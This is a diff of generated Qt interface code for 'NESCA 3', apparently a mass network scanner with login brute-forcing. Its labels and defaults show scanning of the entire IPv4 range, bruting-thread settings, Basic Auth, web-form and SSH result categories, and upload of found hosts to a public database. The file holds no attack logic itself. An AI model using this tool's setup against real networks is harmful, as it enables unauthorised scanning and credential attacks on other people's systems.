0); + gradient6.setSpread(QGradient::PadSpread); + gradient6.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient6.setColorAt(0, QColor(16, 16, 16, 255)); + gradient6.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush6(gradient6); + palette.setBrush(QPalette::Disabled, QPalette::Button, brush6); + QLinearGradient gradient7(0.541, 0.500364, 0.54, 0); + gradient7.setSpread(QGradient::PadSpread); + gradient7.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient7.setColorAt(0, QColor(16, 16, 16, 255)); + gradient7.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush7(gradient7); + palette.setBrush(QPalette::Disabled, QPalette::Base, brush7); + QLinearGradient gradient8(0.541, 0.500364, 0.54, 0); + gradient8.setSpread(QGradient::PadSpread); + gradient8.setCoordinateMode(QGradient::ObjectBoundingMode); + gradient8.setColorAt(0, QColor(16, 16, 16, 255)); + gradient8.setColorAt(1, QColor(0, 0, 0, 255)); + QBrush brush8(gradient8); + palette.setBrush(QPalette::Disabled, QPalette::Window, brush8); + widgetIRC->setPalette(palette); + widgetIRC->setStyleSheet(QStringLiteral("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));")); + ircServerBox = new QLineEdit(widgetIRC); + ircServerBox->setObjectName(QStringLiteral("ircServerBox")); + ircServerBox->setGeometry(QRect(83, 30, 163, 20)); + ircServerBox->setFont(font1); + ircServerBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircServerBox->setMaxLength(128); + ircServerBox->setAlignment(Qt::AlignCenter); + shoutBox = new QLineEdit(widgetIRC); + shoutBox->setObjectName(QStringLiteral("shoutBox")); + shoutBox->setGeometry(QRect(10, 705, 469, 20)); + shoutBox->setFont(font1); + shoutBox->setStyleSheet(QStringLiteral("color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226);")); + shoutBox->setMaxLength(256); + shoutBox->setAlignment(Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter); + serverPortBox = new QLineEdit(widgetIRC); + serverPortBox->setObjectName(QStringLiteral("serverPortBox")); + serverPortBox->setGeometry(QRect(250, 30, 82, 20)); + serverPortBox->setFont(font1); + serverPortBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + serverPortBox->setMaxLength(5); + serverPortBox->setAlignment(Qt::AlignCenter); + ircNickBox = new QLineEdit(widgetIRC); + ircNickBox->setObjectName(QStringLiteral("ircNickBox")); + ircNickBox->setGeometry(QRect(369, 30, 117, 20)); + ircNickBox->setFont(font1); + ircNickBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircNickBox->setMaxLength(16); + ircNickBox->setAlignment(Qt::AlignCenter); + IRCConnectBut = new QPushButton(widgetIRC); + IRCConnectBut->setObjectName(QStringLiteral("IRCConnectBut")); + IRCConnectBut->setGeometry(QRect(220, 85, 75, 23)); + IRCConnectBut->setFont(font1); + IRCConnectBut->setStyleSheet(QStringLiteral("")); + ircText = new QTextBrowser(widgetIRC); + ircText->setObjectName(QStringLiteral("ircText")); + ircText->setGeometry(QRect(10, 140, 469, 556)); + ircText->setFont(font1); + ircText->setStyleSheet(QStringLiteral("color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);")); + ircText->setLocale(QLocale(QLocale::Chinese, QLocale::China)); + ircText->setFrameShape(QFrame::NoFrame); + ircText->setFrameShadow(QFrame::Plain); + ircText->setUndoRedoEnabled(false); + ircText->setReadOnly(true); + ircText->setAcceptRichText(true); + ircText->setCursorWidth(5); + ircText->setTextInteractionFlags(Qt::TextBrowserInteraction); + ircText->setOpenExternalLinks(true); + ircText->setOpenLinks(false); + ircProxy = new QLineEdit(widgetIRC); + ircProxy->setObjectName(QStringLiteral("ircProxy")); + ircProxy->setGeometry(QRect(83, 55, 163, 20)); + ircProxy->setFont(font1); + ircProxy->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircProxy->setMaxLength(128); + ircProxy->setAlignment(Qt::AlignCenter); + ircProxyPort = new QLineEdit(widgetIRC); + ircProxyPort->setObjectName(QStringLiteral("ircProxyPort")); + ircProxyPort->setGeometry(QRect(250, 55, 82, 20)); + ircProxyPort->setFont(font1); + ircProxyPort->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);")); + ircProxyPort->setMaxLength(5); + ircProxyPort->setAlignment(Qt::AlignCenter); + IRCCheckProxyBut = new QPushButton(widgetIRC); + IRCCheckProxyBut->setObjectName(QStringLiteral("IRCCheckProxyBut")); + IRCCheckProxyBut->setGeometry(QRect(337, 55, 149, 20)); + IRCCheckProxyBut->setFont(font1); + IRCCheckProxyBut->setStyleSheet(QStringLiteral("")); + ircRaw = new QTextBrowser(widgetIRC); + ircRaw->setObjectName(QStringLiteral("ircRaw")); + ircRaw->setGeometry(QRect(10, 140, 469, 556)); + ircRaw->setFont(font1); + ircRaw->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125);")); + ircRaw->setLocale(QLocale(QLocale::Chinese, QLocale::China)); + ircRaw->setFrameShape(QFrame::NoFrame); + ircRaw->setFrameShadow(QFrame::Plain); + ircRaw->setUndoRedoEnabled(false); + ircRaw->setReadOnly(true); + ircRaw->setAcceptRichText(true); + ircRaw->setCursorWidth(5); + ircRaw->setTextInteractionFlags(Qt::TextBrowserInteraction); + ircRaw->setOpenExternalLinks(true); + ircRaw->setOpenLinks(false); + nickShowBut = new QPushButton(widgetIRC); + nickShowBut->setObjectName(QStringLiteral("nickShowBut")); + nickShowBut->setGeometry(QRect(481, 140, 16, 556)); + nickShowBut->setStyleSheet(QLatin1String("border: 1px solid rgb(216, 216, 216);\n" +"color: rgb(216, 216, 216);\n" +"background-color: #000000;")); + nickShowBut->setText(QStringLiteral("<")); + nickList = new QListWidget(widgetIRC); + nickList->setObjectName(QStringLiteral("nickList")); + nickList->setGeometry(QRect(329, 145, 147, 0)); + nickList->setStyleSheet(QLatin1String("background-color: rgba(0, 0, 0, 0.5);\n" +"color: rgb(212, 212, 212);")); + nickList->setFrameShape(QFrame::Panel); + nickList->setFrameShadow(QFrame::Plain); + nickList->setResizeMode(QListView::Adjust); + nickList->setSortingEnabled(true); + topicLine = new QLineEdit(widgetIRC); + topicLine->setObjectName(QStringLiteral("topicLine")); + topicLine->setGeometry(QRect(44, 115, 435, 20)); + topicLine->setFont(font9); + topicLine->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange;")); + topicLine->setMaxLength(256); + IRCUTFMode = new QPushButton(widgetIRC); + IRCUTFMode->setObjectName(QStringLiteral("IRCUTFMode")); + IRCUTFMode->setGeometry(QRect(440, 80, 48, 12)); + IRCUTFMode->setFont(font1); + IRCUTFMode->setStyleSheet(QLatin1String("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);\n" +"color: rgb(0, 214, 0);")); + IRCCP1251Mode = new QPushButton(widgetIRC); + IRCCP1251Mode->setObjectName(QStringLiteral("IRCCP1251Mode")); + IRCCP1251Mode->setGeometry(QRect(392, 80, 48, 12)); + IRCCP1251Mode->setFont(font1); + IRCCP1251Mode->setStyleSheet(QLatin1String("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);\n" +"color: rgb(71, 71, 71);")); + labelIPRange_2 = new QLabel(widgetIRC); + labelIPRange_2->setObjectName(QStringLiteral("labelIPRange_2")); + labelIPRange_2->setGeometry(QRect(20, 30, 56, 20)); + labelIPRange_2->setFont(font4); + labelIPRange_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPRange_3 = new QLabel(widgetIRC); + labelIPRange_3->setObjectName(QStringLiteral("labelIPRange_3")); + labelIPRange_3->setGeometry(QRect(10, 55, 68, 20)); + labelIPRange_3->setFont(font4); + labelIPRange_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPRange_4 = new QLabel(widgetIRC); + labelIPRange_4->setObjectName(QStringLiteral("labelIPRange_4")); + labelIPRange_4->setGeometry(QRect(340, 30, 27, 20)); + labelIPRange_4->setFont(font4); + labelIPRange_4->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPRange_5 = new QLabel(widgetIRC); + labelIPRange_5->setObjectName(QStringLiteral("labelIPRange_5")); + labelIPRange_5->setGeometry(QRect(10, 115, 31, 20)); + labelIPRange_5->setFont(font4); + labelIPRange_5->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + nickList->raise(); + ircRaw->raise(); + ircServerBox->raise(); + shoutBox->raise(); + serverPortBox->raise(); + ircNickBox->raise(); + IRCConnectBut->raise(); + ircText->raise(); + ircProxy->raise(); + ircProxyPort->raise(); + IRCCheckProxyBut->raise(); + nickShowBut->raise(); + topicLine->raise(); + IRCUTFMode->raise(); + IRCCP1251Mode->raise(); + labelIPRange_2->raise(); + labelIPRange_3->raise(); + labelIPRange_4->raise(); + labelIPRange_5->raise(); + widgetJOB = new QWidget(centralWidget); + widgetJOB->setObjectName(QStringLiteral("widgetJOB")); + widgetJOB->setGeometry(QRect(500, 44, 498, 730)); + widgetJOB->setStyleSheet(QStringLiteral("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));")); + jobRangeVisual = new QGraphicsView(widgetJOB); + jobRangeVisual->setObjectName(QStringLiteral("jobRangeVisual")); + jobRangeVisual->setGeometry(QRect(10, 30, 480, 41)); + jobRangeVisual->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + jobRangeVisual->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + jobIPContractsTable = new QTableWidget(widgetJOB); + jobIPContractsTable->setObjectName(QStringLiteral("jobIPContractsTable")); + jobIPContractsTable->setGeometry(QRect(10, 105, 480, 296)); + jobIPWantedTable = new QTableWidget(widgetJOB); + jobIPWantedTable->setObjectName(QStringLiteral("jobIPWantedTable")); + jobIPWantedTable->setGeometry(QRect(10, 425, 480, 296)); + DataflowModeBut = new QPushButton(centralWidget); + DataflowModeBut->setObjectName(QStringLiteral("DataflowModeBut")); + DataflowModeBut->setGeometry(QRect(440, 50, 48, 16)); + DataflowModeBut->setFont(font3); + DataflowModeBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + IRCModeBut = new QPushButton(centralWidget); + IRCModeBut->setObjectName(QStringLiteral("IRCModeBut")); + IRCModeBut->setGeometry(QRect(340, 50, 48, 16)); + IRCModeBut->setFont(font3); + IRCModeBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + JobModeBut = new QPushButton(centralWidget); + JobModeBut->setObjectName(QStringLiteral("JobModeBut")); + JobModeBut->setGeometry(QRect(390, 50, 48, 16)); + JobModeBut->setFont(font3); + JobModeBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + IRCModeChangerBut = new QPushButton(centralWidget); + IRCModeChangerBut->setObjectName(QStringLiteral("IRCModeChangerBut")); + IRCModeChangerBut->setEnabled(true); + IRCModeChangerBut->setGeometry(QRect(290, 50, 48, 16)); + IRCModeChangerBut->setFont(font3); + IRCModeChangerBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + nesca_3Class->setCentralWidget(centralWidget); + widget->raise(); + widgetJOB->raise(); + widgetIRC->raise(); + IRCModeChangerBut->raise(); + IRCModeBut->raise(); + JobModeBut->raise(); + DataflowModeBut->raise(); + QWidget::setTabOrder(ipLine, portLine); + QWidget::setTabOrder(portLine, threadLine); + QWidget::setTabOrder(threadLine, lineEditStartIPDNS); + QWidget::setTabOrder(lineEditStartIPDNS, lineILVL); + QWidget::setTabOrder(lineILVL, lineEditPort); + QWidget::setTabOrder(lineEditPort, lineEditThread); + QWidget::setTabOrder(lineEditThread, lineTrackerSrv); + QWidget::setTabOrder(lineTrackerSrv, lineTrackerScr); + QWidget::setTabOrder(lineTrackerScr, linePersKey); + QWidget::setTabOrder(linePersKey, trackerOnOff); + QWidget::setTabOrder(trackerOnOff, tabMainWidget); + QWidget::setTabOrder(tabMainWidget, startScanButton_3); + QWidget::setTabOrder(startScanButton_3, startScanButton_4); + QWidget::setTabOrder(startScanButton_4, exitButton); + QWidget::setTabOrder(exitButton, dataText); + + retranslateUi(nesca_3Class); + + tabMainWidget->setCurrentIndex(0); + + + QMetaObject::connectSlotsByName(nesca_3Class); + } // setupUi + + void retranslateUi(QMainWindow *nesca_3Class) + { + nesca_3Class->setWindowTitle(QApplication::translate("nesca_3Class", "NESCA 3", 0)); + startScanButton_3->setText(QApplication::translate("nesca_3Class", "Start", 0)); + ipLine->setText(QApplication::translate("nesca_3Class", "1.1.1.1-255.255.255.255", 0)); + ipLine->setPlaceholderText(QApplication::translate("nesca_3Class", "000.000.000.000-255.255.255.255", 0)); + portLine->setText(QApplication::translate("nesca_3Class", "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21", 0)); + portLine->setPlaceholderText(QApplication::translate("nesca_3Class", "80,81,8080,8888,21,6667,7000", 0)); + threadLine->setText(QApplication::translate("nesca_3Class", "200", 0)); + threadLine->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + labelIPRange->setText(QApplication::translate("nesca_3Class", "IP RANGE", 0)); + labelIPPorts->setText(QApplication::translate("nesca_3Class", "PORTS", 0)); + labelIPThreads->setText(QApplication::translate("nesca_3Class", "THREADS", 0)); + labelIPTO->setText(QApplication::translate("nesca_3Class", "TIMEOUT", 0)); + iptoLine_value->setText(QApplication::translate("nesca_3Class", "3", 0)); + iptoLine_value->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_TOOLTIP + restoreDefaultPorts1->setToolTip(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + restoreDefaultPorts1->setWhatsThis(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_WHATSTHIS + restoreDefaultPorts1->setText(QApplication::translate("nesca_3Class", ":Default ports", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab_4), QApplication::translate("nesca_3Class", "IP Scan", 0)); + lineEditStartIPDNS->setText(QApplication::translate("nesca_3Class", "[09][az][0-]", 0)); + lineEditStartIPDNS->setPlaceholderText(QApplication::translate("nesca_3Class", "[09][az][0-][09][az][0-]", 0)); + startScanButton_4->setText(QApplication::translate("nesca_3Class", "Start", 0)); + lineILVL->setText(QApplication::translate("nesca_3Class", ".mobi", 0)); + lineILVL->setPlaceholderText(QApplication::translate("nesca_3Class", ".mobi", 0)); + lineEditPort->setText(QApplication::translate("nesca_3Class", "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21", 0)); + lineEditPort->setPlaceholderText(QApplication::translate("nesca_3Class", "80,81,8080,8888,21,6667,7000", 0)); + lineEditThread->setText(QApplication::translate("nesca_3Class", "30", 0)); + lineEditThread->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + labelDNSRange->setText(QApplication::translate("nesca_3Class", "DNS RANGE", 0)); + labelDNSPorts->setText(QApplication::translate("nesca_3Class", "PORTS", 0)); + labelDNSThreads->setText(QApplication::translate("nesca_3Class", "THREADS", 0)); + labelIPTO_2->setText(QApplication::translate("nesca_3Class", "TIMEOUT", 0)); + iptoLine_value_2->setText(QApplication::translate("nesca_3Class", "2", 0)); + iptoLine_value_2->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_TOOLTIP + restoreDefaultPorts2->setToolTip(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + restoreDefaultPorts2->setWhatsThis(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_WHATSTHIS + restoreDefaultPorts2->setText(QApplication::translate("nesca_3Class", ":Default ports", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab_5), QApplication::translate("nesca_3Class", "DNS Scan", 0)); + importButton->setText(QApplication::translate("nesca_3Class", "Import&&Scan", 0)); + labelIpRange_9->setText(QApplication::translate("nesca_3Class", "Please, read about the import file in do_not_read.txt.", 0)); + importThreads->setText(QApplication::translate("nesca_3Class", "200", 0)); + importThreads->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + importPorts->setText(QApplication::translate("nesca_3Class", "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21", 0)); + importPorts->setPlaceholderText(QApplication::translate("nesca_3Class", "80,81,8080,8888,21,6667,7000", 0)); + labelDNSThreads_2->setText(QApplication::translate("nesca_3Class", "THREADS", 0)); + labelDNSPorts_2->setText(QApplication::translate("nesca_3Class", "PORTS", 0)); + labelIPTO_3->setText(QApplication::translate("nesca_3Class", "TIMEOUT", 0)); + iptoLine_value_3->setText(QApplication::translate("nesca_3Class", "3", 0)); + iptoLine_value_3->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_TOOLTIP + restoreDefaultPorts3->setToolTip(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + restoreDefaultPorts3->setWhatsThis(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_WHATSTHIS + restoreDefaultPorts3->setText(QApplication::translate("nesca_3Class", ":Default ports", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab_6), QApplication::translate("nesca_3Class", "Import", 0)); +#ifndef QT_NO_WHATSTHIS + trackerOnOff->setWhatsThis(QApplication::translate("nesca_3Class", "d3w.org database (NDB) collects all found sites for structuring and further analysis.", 0)); +#endif // QT_NO_WHATSTHIS + trackerOnOff->setText(QApplication::translate("nesca_3Class", "Send results to public NescaDatabase", 0)); + lineTrackerScr->setText(QApplication::translate("nesca_3Class", "/go/", 0)); + lineTrackerScr->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer script", 0)); + lineTrackerSrv->setText(QApplication::translate("nesca_3Class", "balancer.d3w.org", 0)); + lineTrackerSrv->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer url", 0)); + linePersKey->setText(QString()); + linePersKey->setPlaceholderText(QApplication::translate("nesca_3Class", "Your personal key here", 0)); + trcSrvPortLine->setText(QApplication::translate("nesca_3Class", "80", 0)); + trcSrvPortLine->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer port here", 0)); + checkKeyBut->setText(QApplication::translate("nesca_3Class", "Check key", 0)); +#ifndef QT_NO_WHATSTHIS + pingingOnOff->setWhatsThis(QApplication::translate("nesca_3Class", "Ping hosts before connection attempts.", 0)); +#endif // QT_NO_WHATSTHIS + pingingOnOff->setText(QApplication::translate("nesca_3Class", "Ping hosts", 0)); + pingingOnOff->setShortcut(QApplication::translate("nesca_3Class", "Ctrl+S", 0)); + PingTO->setText(QApplication::translate("nesca_3Class", "2000", 0)); + PingTO->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + label->setText(QApplication::translate("nesca_3Class", "sec", 0)); + threadDelayBox->setText(QApplication::translate("nesca_3Class", "10", 0)); + threadDelayBox->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + label_2->setText(QApplication::translate("nesca_3Class", "Thread delay:", 0)); + MaxBrutingThrLabel->setText(QApplication::translate("nesca_3Class", "Max bruting\n" +" threads:", 0)); + maxBrutingThrBox->setText(QApplication::translate("nesca_3Class", "200", 0)); + maxBrutingThrBox->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_WHATSTHIS + shuffle_onoff->setWhatsThis(QApplication::translate("nesca_3Class", "Shuffle ip-ranges before scan.", 0)); +#endif // QT_NO_WHATSTHIS + shuffle_onoff->setText(QApplication::translate("nesca_3Class", "Shuffle ip ranges", 0)); + shuffle_onoff->setShortcut(QApplication::translate("nesca_3Class", "Ctrl+S", 0)); +#ifndef QT_NO_TOOLTIP + systemProxyIP->setToolTip(QString()); +#endif // QT_NO_TOOLTIP + systemProxyIP->setText(QString()); + systemProxyIP->setPlaceholderText(QApplication::translate("nesca_3Class", "Proxy here", 0)); + systemProxyPort->setText(QApplication::translate("nesca_3Class", "3128", 0)); + systemProxyPort->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer port here", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab), QApplication::translate("nesca_3Class", "NS-Track", 0)); + labelNesca_3->setText(QApplication::translate("nesca_3Class", "NESCA 3 :: Revealing the Unseen Horizon", 0)); + exitButton->setText(QApplication::translate("nesca_3Class", "X", 0)); + labelIpRange->setText(QApplication::translate("nesca_3Class", "Current IP:", 0)); + labelThreads->setText(QApplication::translate("nesca_3Class", "Threads:", 0)); + labelBaThreads->setText(QApplication::translate("nesca_3Class", "Brute threads:", 0)); + labelIpRange_Value->setText(QApplication::translate("nesca_3Class", "--", 0)); + labelThreads_Value->setText(QApplication::translate("nesca_3Class", "0/0", 0)); + labelBAThreads_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + labelIPS->setText(QApplication::translate("nesca_3Class", "IP/s:", 0)); + labelIPS_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + dataText->setHtml(QApplication::translate("nesca_3Class", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" +"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" +"p, li { white-space: pre-wrap; }\n" +"</style></head><body style=\" font-family:'Eurostile'; font-size:8pt; font-weight:400; font-style:normal;\">\n" +"<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Verdana'; font-size:6pt;\"><br /></p></body></html>", 0)); + labelParsed->setText(QApplication::translate("nesca_3Class", "Saved/Online:", 0)); + labelParsed_Value->setText(QApplication::translate("nesca_3Class", "0/0", 0)); + labelStatus->setText(QApplication::translate("nesca_3Class", "Status:", 0)); + labelStatus_Value->setText(QApplication::translate("nesca_3Class", "Idle", 0)); + labelTargetsLeft->setText(QApplication::translate("nesca_3Class", "Targets:", 0)); + labelTargetsLeft_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + RedLabel->setText(QString()); + YellowLabel->setText(QString()); + GreenLabel->setText(QString()); + BlueLabel->setText(QString()); + CyanLabel->setText(QString()); + PinkLabel->setText(QString()); + labelAnomaly->setText(QApplication::translate("nesca_3Class", "Anomalies", 0)); + labelBA->setText(QApplication::translate("nesca_3Class", "Basic Auth", 0)); + labelFiltered->setText(QApplication::translate("nesca_3Class", "Suspicious", 0)); + labelBads->setText(QApplication::translate("nesca_3Class", "WebForms", 0)); + labelOverloads->setText(QApplication::translate("nesca_3Class", "Overloads", 0)); + labelLowloads->setText(QApplication::translate("nesca_3Class", "Lowloads", 0)); + logoLabel->setText(QString()); + WhiteLabel->setText(QString()); + labelAlives->setText(QApplication::translate("nesca_3Class", "Alive", 0)); + me2ScanBut->setText(QApplication::translate("nesca_3Class", ":ME2 mode", 0)); + QoSScanBut->setText(QApplication::translate("nesca_3Class", ":QoS mode", 0)); + labelBadAddr->setText(QApplication::translate("nesca_3Class", "Offline:", 0)); + labelOffline_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + BAText->setHtml(QApplication::translate("nesca_3Class", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" +"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" +"p, li { white-space: pre-wrap; }\n" +"</style></head><body style=\" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;\">\n" +"<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;\"><br /></p></body></html>", 0)); +#ifndef QT_NO_TOOLTIP + switcherBut->setToolTip(QApplication::translate("nesca_3Class", "Brute activity", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + switcherBut->setWhatsThis(QApplication::translate("nesca_3Class", "Brute activity", 0)); +#endif // QT_NO_WHATSTHIS + switcherBut->setText(QApplication::translate("nesca_3Class", "<", 0)); + labelTracker->setText(QApplication::translate("nesca_3Class", "NS-Track:", 0)); + VoiceScanBut->setText(QApplication::translate("nesca_3Class", ":Voice mode", 0)); +#ifndef QT_NO_TOOLTIP + clearLogBut->setToolTip(QApplication::translate("nesca_3Class", "Clear logs", "Clear log")); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + clearLogBut->setWhatsThis(QApplication::translate("nesca_3Class", "Clear logs", 0)); +#endif // QT_NO_WHATSTHIS + clearLogBut->setText(QApplication::translate("nesca_3Class", "X", 0)); + secretMessageBut_1->setText(QString()); + secretMessageBut_2->setText(QString()); + secretMessageBut_3->setText(QString()); + secretMessageBut_4->setText(QString()); + secretMessageBut_5->setText(QString()); + secretMessageBut_6->setText(QString()); + secretMessageBut_7->setText(QString()); + secretMessageBut_8->setText(QString()); + newMessageLabel->setText(QApplication::translate("nesca_3Class", "New message", 0)); + PieStatBut->setText(QApplication::translate("nesca_3Class", ":Pie statistics", 0)); + trayButton->setText(QApplication::translate("nesca_3Class", "_", 0)); + DredLabel->setText(QString()); + labelSSH->setText(QApplication::translate("nesca_3Class", "SSH", 0)); + rVerLabel->setText(QApplication::translate("nesca_3Class", "Outdated version", 0)); + NSTrackStatusLabel->setText(QString()); + ircServerBox->setText(QApplication::translate("nesca_3Class", "addr.ne.jp", 0)); + ircServerBox->setPlaceholderText(QApplication::translate("nesca_3Class", "IRC server here", 0)); +#ifndef QT_NO_TOOLTIP + shoutBox->setToolTip(QString()); +#endif // QT_NO_TOOLTIP + shoutBox->setText(QString()); + shoutBox->setPlaceholderText(QString()); + serverPortBox->setText(QApplication::translate("nesca_3Class", "6667", 0)); + serverPortBox->setPlaceholderText(QApplication::translate("nesca_3Class", "IRC port here", 0)); + ircNickBox->setText(QString()); + ircNickBox->setPlaceholderText(QApplication::translate("nesca_3Class", "Your nick here", 0)); + IRCConnectBut->setText(QApplication::translate("nesca_3Class", "Connect", 0)); + ircText->setHtml(QApplication::translate("nesca_3Class", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" +"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" +"p, li { white-space: pre-wrap; }\n" +"</style></head><body style=\" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;\">\n" +"<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;\"><br /></p></body></html>", 0)); + ircProxy->setText(QString()); + ircProxy->setPlaceholderText(QApplication::translate("nesca_3Class", "Proxy here", 0)); + ircProxyPort->setText(QString()); + ircProxyPort->setPlaceholderText(QApplication::translate("nesca_3Class", "Proxy port here", 0)); + IRCCheckProxyBut->setText(QApplication::translate("nesca_3Class", "Check proxy", 0)); + ircRaw->setHtml(QApplication::translate("nesca_3Class", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" +"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" +"p, li { white-space: pre-wrap; }\n" +"</style></head><body style=\" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;\">\n" +"<p style=\"-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;\"><br /></p></body></html>", 0)); +#ifndef QT_NO_TOOLTIP + nickShowBut->setToolTip(QApplication::translate("nesca_3Class", "Stalkers online", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + nickShowBut->setWhatsThis(QApplication::translate("nesca_3Class", "Stalkers online", 0)); +#endif // QT_NO_WHATSTHIS + topicLine->setText(QString()); +#ifndef QT_NO_TOOLTIP + IRCUTFMode->setToolTip(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCUTFMode->setWhatsThis(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_WHATSTHIS + IRCUTFMode->setText(QApplication::translate("nesca_3Class", "UTF-8", 0)); 